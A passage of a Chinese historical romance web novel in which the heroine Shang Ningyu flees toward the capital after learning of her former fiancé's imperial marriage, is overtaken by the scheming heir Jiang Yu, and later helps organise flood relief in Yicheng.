江昱冷哼,却是整了整衣冠,抬步迎了上去,开口便是:“伯父,小侄等候多时,有要事与您说。” 商晏竹面色凝重,眉头却几不可察地皱了一皱,“若是关于” “自是关于乔氏余孽被抓一事。”江昱截胡,正经得不能再正经。 商晏竹吐到嘴边的话,猝不及防地卡在喉咙里,面色一僵,心中大骂臭小子,点点头,面不改色地朝里走去。 进屋的这几步,将这话彻底咽下去,又将江昱骤然提及的话头消化了一下,端坐堂内,抬手示意,问:“关于乔氏余孽的事,你应该去与夏县令说去,为何来我这里?” 江昱拱手,恭敬道:“此次晚辈能顺利捉拿奸贼,全赖叔父的信任和支持,晚辈在给京中的奏折中,没敢忘记这份恩德,也一并告知了圣上。” 商晏竹神色微动,却紧紧是一瞬,很快就平息了下去,须臾,淡笑道:“世子如此,草民铭记在心,不过,商家如今乃是罪臣,下次只望世子谨言慎行,莫要再在京都任何地方提及草民。” 听他一口一个草民,谦卑之极,江昱连忙起身,道:“三叔父多虑,圣上在信中言明,当年之事,全与三叔父无关,三叔父体恤黎民,效忠朝廷,功劳政绩,朝廷都一笔一笔地记着,忠勤伯府的封号现在还为商家留着,只望叔父再耐心等等。” 商晏竹闻之动容,这世上,没有哪个读书人不想入仕一展宏图,成日帮衬夏县令,到底是有意见相左之时,没有自己全盘做主来得自在。 但他也不是不涉世事的单纯之人,江昱此言,无异于告诉他,除此之外,他还要再立功劳。这谈何容易?江南富庶,这宜城之内,打理得井井有条,何方还有他的用武之地? 况且,商家已经在这个地方安定下来了。 心动过后,他歇了念想,再说出口的话真心诚意了许多,“我年纪大了,这田舍翁做得不错,也不想去京都争什么功名。” 江昱语塞。 商晏竹笑了笑,道:“你不知道,有些人一辈子就喜欢和田地作伴,我就是不做官,也能效忠朝廷,天下万民,都是圣上的子民,我做一个教书先生,教化左邻右舍,护好一方水土,也是向圣上尽忠。” 江昱神色肃穆:“叔父大义,晚辈受教。” 谈完正事,商晏竹冷静了些许,请他喝茶。 二人一时静默,过了许久,商晏竹改了先前的严肃,缓了脸色,道:“好了,瑾弋,现下可以和我说说,京都那边,究竟是怎么回事吗?” 又唤回了“瑾弋”,关系恢复亲近。 江昱却装起了糊涂,“什么?” 商晏竹心中又骂了一句“兔崽子”,面子上,干咳一声,强作镇定道:“就是陆霁的事。” “原来是此事。”江昱连忙恍然大悟,而后抚胸叹息,“不瞒叔父,此事我知之不多,只每次办完差事回京,就总能听到只言片语,起初我也不敢相信,但华阳长公主行事张扬,小侄便东拼西凑,将整个经过囫囵拼了个全须全尾。” 商晏竹讥讽一笑,好声道:“那就请你,将这囫囵拼出来的须尾说一说。” “唉好。”江昱见好就收,“叔父可还记得四年多前,老太君大寿那日?陆霁随府上一同前往国公府给老太君贺寿,那日,华阳本就是为了挑选驸马而去的,不巧,在后花园遇到陆霁,一见钟情,陆霁离开京都时,她得知白老先生要南下,特意去求了圣上,毕竟,岭南条件有限,陆霁便是天赋异禀,也难以达到探花水平,后来” 说起来就是事无巨细,哪里谈得上“囫囵”二字? 商晏竹听了,情绪有些低落,静默许久,最后,低叹:“难为他了。” 江昱共鸣:“是,华阳公主对圣上说,只要能招陆霁为驸马,她就生儿育女,一辈子深居简出,圣上心疼她,无有不应。除非陆霁愿意舍了这一身功名,否则只能应下。” 可是,舍了功名,商家还愿意收他为婿吗?当初,商家仅仅因为他的家世,就抛弃了他一次,而后回头重新接纳他,正是因为他有这份才学,若是不能学以致用,要之如何? 商晏竹会意轻笑,转而问:“婚期可定了?” “定了,就在下月初。” “这么快?” “是,华阳长公主的婚礼,礼部和光禄寺早有准备,而且,圣上想让陆霁掌管宗人令,婚期,越早越好。”说着,江昱递了个意味深长的眼神。 商晏竹明白了。 赵氏宗亲贪享富贵,尾大不掉,一直是京都的祸患。 太祖皇帝建功立业后,既为保皇室尊严,也为护旁系子弟生活无忧,曾给其余几个儿子封下侯爵,只领薪俸不掌实权,并立下无召不得出京的祖训。 此等诏令在开国之初自是好上加好,储君专心事政,旁系主管享乐,朝堂上君臣上下一心,社稷稳固。但经年累月,世代相传,到如今这已经是第五代,宗亲庞大,好逸恶劳的弊端就开始显露出来,诸如赵烨城那般,游手好闲不问正事的两只手都数不过来,人一多,不仅浪费粮食,而且破坏京都风气。 恐怕,圣上早就看中陆霁的治世之才,华阳逼婚未必是真,只是恰好有这么一个诱饵下到他面前,让圣上生出这么一计,派当朝驸马去治这群蠹虫,简直再合适不过。 如此,对于这桩婚事,更是没什么好说的了。 商晏竹叫来管家,吩咐他立刻备一份厚礼,送去京都——那孩子心思细腻,作为先生,他送他最后两份大礼。 江昱忙起身,拱手道:“驿站步程太慢,叔父若不嫌弃,小侄这边可以安排,快马加鞭,下月初定能送至陆家。” 商晏竹目光沉沉地盯着他。 江昱微顿,忙又道:“叔父放心,这礼是官差送的,与小侄无关。” 商晏竹无声叹了口气,点头应下。 无论他如何作想,不得不承认,江昱这个后辈,算是不错的,心细如发,又善洞察人心,亲事一点边没摸着,就替他在圣上跟前周旋,不徇私,以诚相待,虽有点滑头,但其心可见,是个不可多得的佳婿人选。 办完了事,江昱自得意满的离开商家,谢花儿跟随其后,喜气洋洋,“三老爷这回总算见识了世子您的才能,应当对您有所改观了吧?” 江昱面上冷笑,“光三老爷改观有何用?犟种是另一位。” 商家人不打算回京,他时日不多,必须逼一逼她了。 江昱口中的犟种,很快被召到前院花厅,和田氏坐在一起,听商父说事情的来龙去脉。 商父很是心疼这个学生,言语间,不无替这位学生开脱,但他也心疼女儿,目露关怀:“君命难违,他这也是不得已,好在你们亲事只是口头约定,还未递过信物,外人并不知晓,不如在家中歇息几日,再在这宜城中另择一婿。” “你说得轻巧,是还未过定,可呦呦拖到现在,谁不知道是在等他?”田氏率先不满,一口啐了过去。 商晏竹叹:“事已至此,又无可指摘,不如就此放下,尽快为呦呦另选一门亲事,才是对呦呦最好的办法。” 引来的又是田氏一通咒骂。 与之相反,商凝语却是显得过分平静,她走到田氏身边,轻声安抚,道:“阿娘多虑了,女儿便是被退了亲,也能寻到下一家。不信,你现在就去张贴告示,说我要绣球招亲,看看是不是很快,这满城的青年才俊都得来?” 田氏扑哧一笑,抹了眼泪道:“说什么糊涂话,家门前就有一位青年才俊,再不济,还有县衙那位,哪需要绣球招亲?没得招来歪瓜裂枣再来膈应我。” 商凝语连声道“是是是”,安抚好了母亲,起身对二老郑重福礼,正色道:“先前是女儿不懂事,插手自己的婚事,以致遇人不淑,酿成今日后果,往后,我的婚事,就全凭爹娘做主,女儿只在家中,安心待嫁。” 商晏竹心中微诧,不过不忍多劝,还是答应了。 商凝语走出花厅,回到自己的屋子,点翠迎了上来,担忧地问:“娘子,老爷和夫人怎么说?” 商凝语神色冷峻,提裙走进屋内,道:“收拾东西,我们今晚就走。” 点翠一愣:“去哪?” “去京都。”—— 作者有话说:上一章感觉女主有点渣怎么回事[爆哭]但是,女主真的是很认真的在准备与男二的婚后生活,这种将对方放在自己的人生规划中,应该是一种深情的告白吧?《 》 90-100 第91章 商凝语说走就走, 夜里,留下一封书信,拿着全部家当摸出内院, 从后厨翻外墙出去,在骡马行租了两匹马, 向城门奔去。 宜城宵禁晚,此刻正是巳时初,夜黑风高, 街上商贩全部收摊, 两匹马畅通无阻,径直出了城门,然则,出了城门没多久,后面就传来了追兵的叫唤声。 “七娘子,等等, 七娘子, 停一停。” 江昱面沉如水,花谢儿急得一脑门的汗, 边喊边追自家主子。 宜城是丘陵地区,城外山岭绵延起伏,树影黢黑,好在明月高悬, 清辉照映, 商凝语策马穿过平地, 直奔山里弯路而去,一眨眼,消失在视野里。 谢花儿心道不好, 这小娘子太狡猾了,忙道:“世子,我去抄近道,说着扯动缰绳,一拐弯就上了一条只能一人同行的狭窄山路。 江昱挥动马鞭,穿过横梗路边的障碍,却见前面突然出现三条岔道,他微微侧耳凝心静听,辨出前方传来细微动静,策马追上。 点翠跟在商凝语身后,眼见前方就要离开这条山道,又到了一条四岔路口,卯着劲加快速度,却从旁侧一道上骤然杀出一人,横梗在北上的必经之路。 “娘子,你先走,我来拦他。” 商凝语稍稍放慢速度,让出一条道,点翠一不做二不休,拉紧缰绳,□□马扬起前蹄笔直地朝谢花儿冲去,谢花儿大惊失色,连忙避开,商凝语挥动马鞭,见缝插针地腾空而起,马蹄擦着谢花儿的脑门,跃上山道。 “七娘子!”谢花儿心中惊呼“好俊的身手”,面上却气急败坏,“你等等,我家世子有话对你说。” 实际上,有话没话,谢花儿不知道,但一定得这么说。 然则,商七娘子在多年前就被他家主子惯了一个“石头心”的名号,此刻便是敲锣打鼓,也是当作耳旁风,不带一丝停留。 好在,江昱也很快追赶上,谢花儿看着自家主子紧随其后,很是出了口恶气,改朝点翠骂道:“黑灯瞎火,你倒是仗着自己的容貌,没哪个山大王会抓你去做压寨夫人,但是七娘子呢?你想让我家世子一辈子娶不着世子夫人吗?” “放你的狗屁。”点翠惊怒,但才骂出一口,就哑了声——实在不知是该先质问自己怎么就不配去当压寨夫人,还是反驳他“你家世子娶不着夫人关我家娘子屁事”。 一瞬间,点翠急红了眼。 而商凝语这边,她立即调整状态,没有继续朝山林里去,而是在下一个路口拐了弯,下山去。 月色如纱,山下有零散的几户人家,策马奔腾,不稍片刻,就远离了山道,上了人烟稀少的乡下官路,田野宽阔,附近流水淙淙。 一望无际,江昱也不着急了,控制好马速,缀在不远不近的距离,只在她身影就快被哪个障碍物遮挡时,才加快速度追上去,待瞧见人,又歇了下来。 凌晨,天边泛起白光,可天色依旧昏沉,这是下雨的征兆。 商凝语一夜奔驰,已经有些筋疲力尽,四下环顾,只见前面有一户农家,决定暂且过去避避雨。 农家门前用栅栏围出一个小院,她伸手打开栅栏门,农户听到动静,出来询问:“你是谁?” 出来的是位老妪,房里有位妇人头上扎着抹额,怀抱襁褓,透过窗户往外警惕地瞧。商凝语说明来意,并递上几个铜板,老妪眼睛一亮,请她进去。 江昱远远瞧着,伸手敲了敲栅栏,道:“老婆婆,不知能不能加我一个?” 江世子长了一副好面容,嘴角弯弯露出笑意,乍一看,人畜无害,再见他掌心滩出一块碎银,老妪顿生欢喜,利索地打开栅栏门,将人请了进来。 商凝语暗自蹙眉,但她却没有理由阻止别人挣银子,只得撇开脸去。 老妪是个活络人,收了银子,眼睛一转,见男人目光黏糊糊的挂在小娘子身上,明白过来,这二人是一起的,自作主张地将二人带到另一头偏屋,道:“我儿媳妇刚生产,见不得风,二位请担待。” 商凝语说无妨,老妪一头扎进儿媳妇房中,大概一时半刻都不会出来。 小屋简陋,靠墙放着一张床,上面被褥叠得整整齐齐,侧面放着一张陈旧的梳妆台,与正门并齐的墙面上开着一扇窗,少顷,窗外电闪雷鸣,很快,下起了豆大的雨点。 屋外云层翻涌,屋内空气格外的沉闷。 商凝语立在窗前,看着雨幕,双目失焦,她一夜未合眼,整个人透着疲惫,却凭着一股韧劲支撑着。 江昱目光沉沉,忽然,走到她身后,双臂撑在窗棂上,以一种围困的姿态将她锁在方寸之地。 太过突然和孟浪,商凝语浑身一僵,微微侧首,面露警惕:“你干什么?” 江昱目光看着窗外,微微附身,贴在她的耳边轻声道:“你若想上京都,我陪你去,正好,见见他迎娶新娘子的场面。” 这样的江昱,有些陌生,商凝语没来由地生出一丝危机,身子前倾,避开与他触碰。 她蹙眉道:“我不需要你送。” “不行。”江昱回答得很干脆,而后浅浅一笑,道:“在你眼里,我不就是个目无下尘的纨绔吗?纨绔行事,为所欲为,哪能容你拒绝?” 商凝语没想到他忽然这般霸道和无赖。 她咬着牙根,须臾,问出自己最关心的问题:“是你做的吗?当年国公府寿宴,我记得,男女不同席,霁他并没有机会撞见长公主。” “是我。”面对她,江昱大方承认,“华阳喜欢俊俏的书生,我只是略施手段,没想到华阳真的对他情有独钟,非他不嫁。” “你!” 商凝语咬紧牙帮,瞬间产生一种是自己害了陆霁的想法,眼泪夺眶而出。 看她这般伤心落泪,江昱心中恨透,咬牙道:“当初知晓你二人可能有婚约,我是既后怕又庆幸,怕你因此记恨我,又庆幸我早点下手,凭华阳的手段,谁能逃脱她的手掌心?” “现在,我对华阳感激透了,待下回回到京都,我就补她一份大礼,恭贺她新婚佳禧。” “他是十年寒窗苦读,辛辛苦苦才从岭南考进京都的书生,不是供公主消遣的面首。”商凝语切齿道,“是不是在你眼中,我们这些人都可以任由你们调笑玩弄?” 这句话彻底点燃了江昱的怒火,他猛地翻过商凝语的身体,把持着她的双肩,沉声质问:“我是对你说过轻佻的话,可是,我后来做的那些难道还不能弥补?你敢说你对我一点没心动过?” “是你,招惹我,又利用我,最后舍弃我,是你在玩弄我!” 商凝语气得七窍生烟,但她不敢乱动,这个男人的武力值她是见识过的,此刻,他的双手向铁钳一般固定着她,让她本能的生出惧意。 商凝语逼自己冷静,少顷,她微微阖目,指甲掐进肉里,道:“所以,你是在对当年的事耿耿于怀吗?” “是。” 商凝语睁开眼,看着他,暗自锁眉。 江昱却忽然笑了,道:“也不是。”上前,不顾她的挣扎,将她揽进怀中。 他柔声地说:“对你,我现在不看过程,只看结果。你想去京都看他们成亲,也好,看完了就回来,在宜城安心的等我来娶你。” 商凝语有些无力。 “哦对了。”江昱放开她,好心提醒:“圣上亲自赐婚,若有人违抗圣命,损害皇家威严,轻则抄家流放,重则斩首示众。” 商凝语浑身僵硬。 江昱又说:“所以,便是他悔婚不当官了,也娶不了你。” 这下,商凝语浑身颤抖得厉害,她慢慢挪动目光,看着眼前人,仿似第一次认识他,许久,轻声问:“你是不是特别恨我?” 江昱心头一梗,狼狈地错开她的目光,道:“我恨你做什么?我只想让一切回到正轨。” “你当初对我一见钟情,正好,我也想娶你,我们才是天生一对。至于陆霁,呵,他和华阳长公主天生有这段缘分,便是当初没我,华阳照样能遇见他。” 说罢,打开门,却见谢花儿和点翠不知何时已经寻了过来,二人身上淋了雨,老妪端了火盆放在堂屋,给二人烤火。 见到江昱,点翠如一道拐弯的风从他身边窜过,进了屋后,砰的一声将门关上。 “娘子,你有没有事?” 江昱立在门口,屋内的动静一点点传出,谢花儿轻手轻脚地也凑了过来。 商凝语摇摇头,说:“我没事。” 点翠小心地觑着她的神色,讷讷地问:“那我们还去京都吗?” “去。” 谢花儿神色一僵,也小心地瞅了一眼自家世子的脸色,果然,冷若寒霜。 却又听她声音飘渺的传来,“我就想亲自问问他,如果,他不做官,我也愿意嫁给他,他能不能不做这个驸马。” 谢花儿胆战心惊地看着自家主子,猛一低头,只见世子拳头紧握,一滴鲜红的血滴在地上。 里面的声音再次传来,却是微泣:“可是,就这一句话,他都不让我问。点翠,没有意义了,我就算去了京都,亲口问了这句话,也没有意义了。” “婚事即成,问得再清楚也没有意义。” “可是,我准备了这么多,盼了这么久,说断就断,凭什么不能当面问上一句?” 能能能! 七娘子您说话可别这般大喘气啊喂。 谢花儿差点在门口跪下了,再觑了一眼世子的脸色,利利索索地将心收回肚子里。 第92章 临近中午, 老妪听着外面几人没甚动静,走出儿媳内室,邀请几人留下用午饭, 谢花儿自告奋勇前去帮忙烧灶膛。 五菜一汤陆陆续续端到堂屋的方桌上,商凝语出来时, 老妪正端着碗夹菜,看样子是要端去给屋里的产妇。 她方坐下,老妪朝她笑了笑, 请她快坐下吃, 嘴上抱怨道:“这老天爷不给饭吃,才种下的秧苗这下全糟蹋了,幸好,我家儿媳胃口大,他爹多存了点粮,你们放心吃, 管够, 只是家里菜存的不多,请几位担待点。” 点翠和谢花儿连忙道:“够了, 婆婆别客气。” 商凝语宽慰道:“待雨停了,赶紧重新下苗,应是还来得及。” “哪还有秧苗呦?”老妪叹了一声,“今年雨水多, 断断续续已经下了个把月, 天晴也不过几日, 这次的秧苗已经是第二次,最后一点了,只能扶起来重新下, 哎,看看到时候能不能再救活些。” 江昱道:“风雨难测,老婆婆不必惊慌,若真到了山穷水尽的境地,官府定会给你们发稻种。” 不料老妪又是一声叹,可话未出口,屋外传来动静,老妪一扫阴霾,喜道:“是我儿和他爹回来了。” “家里来客人了?”二人在门口脱去蓑衣,将上面的雨水在屋檐下甩了甩,道:“老婆子,家里的米粮省着点,我看这天恐怕不大好,江水下降,地下走沙厉害,不是个好兆头。” “怎么这么严重?是要发洪水吗?”老妪语中诧异,说着,拿出今天意外挣的一块碎银和几个铜板,朝二人使眼色,她儿子脑筋转得快,笑道:“娘,你放心,县太爷已经留意到问题,带着人去了堤坝上,待测了水位就有结果,先别担心。” “那就好,那就好。” 一家三口进了屋。商凝语心中起疑,转头看向门外,她也发现了,今年雨水似乎格外多,古书有云,水退一线,天怒三尺,恐有大汛反扑。 江昱用目光拦下老汉,问道:“请问老汉,除了走沙厉害,可还有其他异状?” 那老汉受县太爷叮嘱,不可危言耸听,以免引起民慌,本不想回答,但见对方衣着锦绣,气质非凡,再见另几人,显然是出门在外不忘带侍从和侍女的富家公子,却又动了心。 民间天灾,百姓最想看到的就是上面人的重视,既然如此,多告诉一人,将消息传达上去,便是回头县老爷查出并无天灾,也当是无妨。 “自然是还有的,老朽这月余来,时常做梦,梦到我小时候在江边玩耍那块石头被江水淹没。” 老妪气恼地打断老汉,骂道:“叫你说正经事,你又胡扯这些乱七八糟的。” 江昱抬手制止老妪,沉声道:“梦乃境之所照,这或许也是天道对你示警的一种方式,无妨,继续说。” 老汉继续道:“还有就是鸟都躲到山林里去了,河里的鱼闹腾得厉害,鼠蚁出洞,不瞒你们说,我们常年住在江边,对江水有天生的灵敏,总之,要注意了。” 江昱点点头,道:“好,我知道了,谢谢你。” 老汉忙道“不敢”,说完被老妻拉着去了后厨。 江昱开始吃饭。 他吃得很文雅,眼里只有桌上的饭菜,将缺油少盐的青菜萝卜吃出了珍馐美味的架势。 但商凝语这会儿怎么可能还吃得下?宜城靠江,这还是她第一次遇到洪水,虽然心里还是想去京都做个了结,但是,生命当前,她的家人还在宜城,他们即将面临可能到来的风险,几乎是瞬间,她就将这点愿景搁置下来。 商凝语看了眼江昱,见他坐在那稳如泰山,不由得一阵气馁,屋里他那强势的混蛋样,此刻回想起来,就让她觉得,她大概逃不出他的手掌心了。 原本还想撑一撑。 不管怎么说,不能如此让他得意不是?当初那点仇,做朋友可以一笔勾销,要是做夫妻,那就太膈应人了——他当初可是拿她跟四姐姐比较呢! 没有谁喜欢被自己的另一半拿作陪人的陪衬。 可眼下,商凝语想跟他打听,这件事朝廷那边怎么说,有没有重视此事?是否制定应对措施?可江昱这厮,忽然像想起了夫子耳提面命的圣贤之道,做起了正人君子,摆出一副非礼勿视非礼勿听的模样来。 也罢,只能在脸上放城墙,厚着脸皮侧面打探了。 商凝语吃了几口,放下竹箸,道:“蚁穴穿堤,鼠徙避水,都是洪汛之兆,京都与宜城相距甚远,如有策略,是不是该提前准备起来?” 谢花儿和点翠停下用餐的动作,抬头看了看商凝语,又去看了看江昱,神色忐忑。 江昱并未立即回话,而是敛袖夹了一口青菜放在她碗里,温声道:“先吃饭,吃饱了再说正事。” 点翠瞪大了眼睛看着自家娘子碗里,好似那不是两根青菜,而是她家娘子的脸面,恨不得立刻夹过来,自己代替吃下去。 可她低估了她家娘子某些时刻的品性,比如此刻,就格外的识时务。 商凝语执起竹箸,面不改色地将青菜塞进嘴里,细嚼慢咽。 江昱嘴角扬起,又夹了一块小排放过去,商凝语眉头紧锁,不满地盯着他。 显然,江昱拿捏了她此刻的性子,压根不接她的目光。无奈,商凝语只好又将小排吃下。 接着,便是白水豆腐、凉拌木耳,商凝语认了,不需他帮忙,主动就着这些菜将一碗饭吃完,最后,江昱又给她盛了一碗蛋花汤。 看得点翠目瞪口呆,嘴角也抑制不住地扬了上去。 一碗汤下肚,商凝语肚子撑得厉害,脾气也跟着上来,好在江昱说话算数,及时回答道:“夏县令爱民如子,对洪灾一定有预案,所以你不必担心朝廷坐视不理。另外,我要先回宜城,沿江看看,你要不要跟我一起回去?” 不等商凝语回答,他补充一句:“你爹让我稍一份厚礼去京都,你如果有话要说,我也可以替你传封信。” 意思不言而喻,不想让她回京。 商凝语震惊抬头,眼里的星火亮了亮,却又瞬间熄灭,道:“算了,也没什么好说的了,既然阿爹送了贺礼,霁哥哥应该能明白我们的意思。” 什么意思?自然是,我们不怪他。 连她自己也没有察觉,离家出走时的不甘和愤怒在江昱的混账下,不知不觉中被吓去了大半。 激愤褪去,剩下的情谊,只能在时间里慢慢流逝。 现在的她,又要开始面对现实,面对可能遇到的天灾,面对江昱这个忽然变得不可理喻的疯子。 江昱很高兴,吩咐谢花儿去附近找找有没有马车,买一辆回来,谢花儿精神倍爽,欢畅地应下一声,去寻老汉借蓑衣和斗笠。 天色渐渐黯淡,入夜后,雨方才停歇,马车停在商家门前,闻讯跑出来的商家夫妇并商凝言通通跑了出来。 田氏搂着商凝语一顿骂,商凝言盯着她看,面色阴沉得厉害,商晏竹也是万分感激地向江昱道谢,最后,二老爷夫妇也出来,众人簇拥着进了屋。 江昱故技重施,进屋后,没两句就提起天灾示警,将两位长辈从“不肖女离家出走”中剥离。 商凝语自是没那么容易了,被田氏拧着耳朵在房里训斥了一个时辰,又叫人将点翠拉出去打了十大板。 翌日,又是一场大雨,商晏竹也陪着江昱去了河堤上观望,雨幕遮天,只见夏县令带着河工以及坝官上堤坝测量水位。 如今江昱在宜城身份暴露,主簿远远瞧见他,扯了扯夏长东的衣袖,朝他示意,夏长东见到江昱二人,连忙将手中秤砣交给手下,走下堤坝迎了过来。 “世子,商老兄。”夏长东扯着嗓子大喊。 江昱也和商晏竹走了过去,问:“怎么样?” 夏长东道:“已经查出水位下降,只是还不知道降了多少,这雨太大,你们快回去。” “不必管我们,他们在干什么?”江昱指着另一队人马,问。 天边电闪雷鸣,将双方的声音盖去大半,夏长东扫了一眼,道:“他们在检查河堤,河堤年久失修,得尽快排查隐患。” 江昱和商晏竹同时沉下脸,商晏竹不便多问,江昱怒道:“朝廷每年都派人查探沿河堤坝,就连维修费都花了十几万,此刻方才排查,你们平日都在作甚?” “世子息怒。”夏长东知晓,这位世子下江南是带着皇命在身,虽无督水职权,但有监察之责,连忙安抚道:“堤坝每年都有检查,只是以往水患不多,堤坝牢固,去年,河南那边开闸引水,有一部分水流进入我们这边,原想着今年加固堤坝,不曾想遇上这天灾,所以才要加紧时间重查。” 江昱听了,脸色这才好些,但并未放松,不多时,雨水骤然停了,河工踩着腿深的泥浆,快跑过来,道:“大人,水位查明了,午时三刻测得,较卯时降了一寸三分。” 夏长东心一沉,望着天边的黑云,道:“云层不散,只怕还有更大的雨在后头,各处闸道已经泄洪,若再下暴雨,只怕水位复涨,危矣,危矣!” 第93章 大雨滂沱, 断断续续地连下了五日,铺天盖地的雨水毁去了大半的农作,城中河水蔓延, 四处可闻幼童啼哭,好在, 宜城治理章程有序,在确定洪汛即将爆发时,夏长东就启动了抗洪预案, 不仅召集壮丁守护堤坝, 而且安排地势偏低的居民搬迁至地势陡峭的宜城背部高山上。 商家原有些慌乱,商晏竹回府说明了情况后,各院就安定下来,翌日,家中几个壮丁全去堤坝上帮忙,田氏则带着女眷去义庄为守护堤坝的民工烧火做饭, 数百名壮汉, 同时张口,不亚于给饕餮备食。 商凝语此时展现了惊人的管事能力。 她仿佛预演过无数遍, 进了义庄后,先派点翠去河堤前线查寻民工人数,而后查米粮存储量,大锅、餐具、人员数量, 拨弄算珠, 心中有个估算后, 立刻提醒田氏,去告知主持后勤的县令夫人缺少的备用量。 此时,县令夫人正在义庄花厅核查管事送上来的账单, 听闻上禀时,她也正好得出了填补份额,两厢一对比,不由得大吃一惊。 要知道,她可是昨夜从丈夫那里已经得了河堤上人员数量,今日一早,管事就已经送上义庄存储,算了一个时辰才算出来的,而这小娘子,来了统共不足一个时辰,前前后后什么讯息也不知道,就能算得大差不差,可真谓是奇遇。 于是,县令夫人召见了商凝语。 趁着这个机会,商凝语解释完后,主动请缨,要做后勤主管,因着商家的关系,县令夫人没有一口拒绝,但也找了两名管事陪同。 商凝语并未拒绝,带着两名管事去了后厨。 要说夏长东这位县令,当真是一位好官,一声令下,百姓无一不服,在任三年,粮库年年爆满,别说现在洪水还没来,就是来了,全民抗洪,也能坐吃山空吃个半年,因此,这抗洪预案里,就没有施粥一项,全是实打实的硬饭。 商凝语先命人将硬饭蒸上,在硬饭上铺上一层肥瘦相间的大腊肠,撒上青豆,腊肠的鲜味混着青豆的干爽,在她亲自调制的料汁烹饪下,渐渐放出迷人的香味。 用再猪肉炖一锅红薯粉条大白菜,大铲炒胡萝卜,如此天气整天浸泡在雨水里,难免感染风寒,用咸腊肉烧一锅大蒜,正好驱寒。 最后,煮了几大锅豆腐沫藕羹汤,撒上香葱,色香味俱全,先命人送去河堤上,给每个民工倒上一碗。 整个过程,她不慌不忙,布置得井井有条,叫两个管事心中纳罕,转头就去告诉了县令夫人,县令夫人也是乍舌。 忽然,县令夫人心头一动,想起了儿子一直跟她央求的事。 如此能干的儿媳妇,能娶回家,岂不是八辈子修来的福气? 江昱立在堤坝上,目光锁在城外那条咆哮翻腾的“巨龙”。官署衙门人手不够,夏县令和商晏竹,以及县丞、主簿分别占据河堤关键点巡视。此刻,城下目之所及已经不是他们所熟悉的护城河,而是一片浑浊汹涌、不断拍打墙根的汪洋。 水面漂浮着断木、草席,甚至还有淹死的家畜,沉沉浮浮,看得人心头发凉。 这些东西显然来自宜城上游,他立刻招来几个心腹,叫他们去查看上游平湖的洪灾情况,并派人去给此次驻扎在沿江一带抗洪前线的河道总督传信,向他说明宜城情况。 待吩咐完一切,他转头,就看到两名妇孺推着板车,向这边送来午膳,高呼一声,吩咐闲下来的人先去吃饭。 民工陆续走下堤坝,倏地看到一碗寡水清汤,各个落了脸色,点翠和几名帮妇及时解释道:“大家伙儿忙了一上午,先喝点汤暖暖胃,硬饭在后面,马上就来,来来来,一人一碗,不喝不给饭吃。” 众人朝后看去,果然见后面还有板车,一眼望去,大约有七八个桶,心满意足了。 商凝语跟在饭桶后头,见众人排队有序,便不去管他们,径自去观望堤坝上情况,此时,雨已经停歇,城墙上该补的漏洞全部用沙袋死死抵住,她越过众人,信步登上堤坝,只见洪水泛滥,浪花涛涛,站在岸边都能闻到河水的土腥味。 江昱原本走下河堤,见她从另一头上来,便又折返上去,沿着长路走了过来。 近前,就伸手去拉她,道:“回去,这里不是你该待的地方。” 商凝语也不僵持,她只是想上来了解情况,并不是真的要跟自己的命过不去,眼见洪水泛滥,看着惊险,实则在这座坚实的堤坝下犹如困兽,便安心地随他走下堤坝。 下来之后,她道:“饭都到齐了,你也去吃饭吧。”说罢,头也不回的走了,从始至终,连个眼神,都显克制。 看似冷淡,实则别扭。 江昱低头轻笑。 这时,谢花儿端了两碗汤过来,他就着自己那碗边走边吸嗦,一口豆腐汤下肚,直直地滑进胃里,舒服得眉头都跟着舒展开。 江昱接过碗,舒展的眉头顿时皱起,谢花儿幸灾乐祸道:“七娘子亲自发话,一人一碗汤,不喝不给饭吃。” 江昱掀了眼皮扫他一眼,低头一口闷,别说,味道着实不错。 午后,江昱派出去的人回禀,果然,上游堤坝不稳,部分河水蔓延至城内,导致河岸附近房屋冲塌,好在暂且并无人员伤亡。 平湖县令见到江昱派去的人,喜出望外,一番询问后得知宜城抗洪顺利,便火急火燎地派县丞前来,请求夏县令派人支援。 支援,自然无可推卸,而且,河岸决堤,这点民丁可能已经不够,必须派驻军支援,江昱当即吩咐谢花儿拿着自己的令牌和手信,通知城外的驻军。 如今的城外驻军统领乃是秦豪的下属,秦豪倒下去之后,江昱将他提了上来,当见到谢花儿以及信物,这位统领立即召集剩余将士们,前去平湖支援。 商晏竹得知消息后,也对跟随在身边的商凝言吩咐一声,去了平湖。 入暮时分,一行人立在平湖堤坝上。 好在这是一条支河,河流并不湍急,近两百名将士和民丁齐心协力,只需花些时间,就能将河堤重建,只是,平湖县令面上露出了愁色。 仔细询问一翻,才得知,从天下暴雨后,精通水利的坝公就生了一场大病,这沿岸堤坝,至今无人仔细排查,便是说,若有隐患,也无从得知。 这无异于将整个平湖乃至下游各城的性命都交给了老天爷,平湖县令现在连做梦都不敢,就怕一个天雷劈下来。 江昱已经无力去责骂这种尸位素餐之辈了,立刻派人下去查探。 盯着巡查下去的三名河工,江昱眼眸黑如幽潭。 说起这坝公,便是在地方上精通水利,能准确洞察河堤隐患的专业河工。纵观历朝,对文字书籍的管辖都十分的严苛,诸如商凝言看过的那几本农作巨著,除了官府珍藏,能出现的地方也就是世家大族,寻常百姓根本无法接触这些宝书。 而这些坝公,他们常年守在堤坝上,却是靠着无数次的身体力行和细致入微的观察,才练就了这身“老马识途”的本事,他们只需看一眼水花漩涡,便知地下是沙是石,有无暗坎。 坝公难求,沿江县城十分珍惜这样能明察秋毫的坝公,往往以相对较高价格聘请,而平湖坝公病重就导致无人勘察,足以见得,这平湖吏治必有猫腻。 此时却不是打草惊蛇的时候,必得先解决眼前的事。 一名河工手持火把停在河堤岸上,他低头望着脚下岸坡,已经有一会了,平湖县令连忙叫人过去查看,江昱等人也盯着那名河工。 忽然,不等那名前去追问的下属走到跟前,河工急忙回身,一路小跑,来到几人面前,惴惴不安道:“大人,那里水流纹理有异,水面看似平静,但水下,恐有隐患,草民得用土石测试一番。” “那还等什么?还不快去测?”平湖县令立刻叫人搬运土石,江昱走到河堤上观察。 半炷香后,坝公摇头:“此处异常,土石查验恐怕难以触及根本。” 说完,欲言又止。 平湖县令欲要呵斥,却被商晏竹抬手制止,商晏竹沉声问:“你是怀疑,下面的地桩?” 坝公面色僵硬,却晦涩地点了点头。 平湖县令脸色霎时一白,江昱却没有听明白,问:“地桩怎么了?” 